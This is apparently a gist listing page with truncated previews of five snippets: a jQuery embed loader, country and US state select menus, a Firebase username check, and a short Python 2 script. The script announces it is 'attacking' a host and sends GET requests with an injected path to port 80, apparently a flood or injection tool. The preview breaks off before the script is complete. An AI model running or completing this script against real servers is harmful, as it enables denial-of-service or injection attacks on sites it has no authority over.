This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function () { | |
var scriptName = "embed.js"; //name of this script, used to get reference to own tag | |
var jQuery; //noconflict reference to jquery | |
var jqueryPath = "http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"; | |
var jqueryVersion = "1.8.3"; | |
var scriptTag; //reference to the html script tag | |
/******** Get reference to self (scriptTag) *********/ | |
var allScripts = document.getElementsByTagName('script'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<select class="form-control" id="country"> | |
<option value="">Country</option> | |
<option data-power-region="USA" value="American Samoa">American Samoa</option> | |
<option data-power-region="AUS" value="Argentina">Argentina</option> | |
<option data-power-region="AUS" value="Australia">Australia</option> | |
<option data-power-region="Europe" value="Austria">Austria</option> | |
<option data-power-region="USA" value="Bangladesh">Bangladesh</option> | |
<option data-power-region="Europe" value="Belgium">Belgium</option> | |
<option data-power-region="USA" value="Brazil">Brazil</option> | |
<option data-power-region="USA" value="British Virgin Islands">British Virgin Islands</option> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function go() { | |
var userId = prompt('Username?', 'Guest'); | |
checkIfUserExists(userId); | |
} | |
var USERS_LOCATION = 'https://SampleChat.firebaseIO-demo.com/users'; | |
function userExistsCallback(userId, exists) { | |
if (exists) { | |
alert('user ' + userId + ' exists!'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<select class="form-control" name="state"> | |
<option value="">Select a State</option> | |
<option value="AL" <?php if($state == "AL") echo "selected"; ?>>Alabama</option> | |
<option value="AK" <?php if($state == "AK") echo "selected"; ?>>Alaska</option> | |
<option value="AZ" <?php if($state == "AZ") echo "selected"; ?>>Arizona</option> | |
<option value="AR" <?php if($state == "AR") echo "selected"; ?>>Arkansas</option> | |
<option value="CA" <?php if($state == "CA") echo "selected"; ?>>California</option> | |
<option value="CO" <?php if($state == "CO") echo "selected"; ?>>Colorado</option> | |
<option value="CT" <?php if($state == "CT") echo "selected"; ?>>Connecticut</option> | |
<option value="DE" <?php if($state == "DE") echo "selected"; ?>>Delaware</option> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, sys, os | |
print "][ Attacking " + sys.argv[1] + " ... ][" | |
print "injecting " + sys.argv[2]; | |
def attack(): | |
#pid = os.fork() | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((sys.argv[1], 80)) | |
print ">> GET /" + sys.argv[2] + " HTTP/1.1" | |
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n") | |
s.send("Host: " + sys.argv[1] + "\r\n\r\n"); |
NewerOlder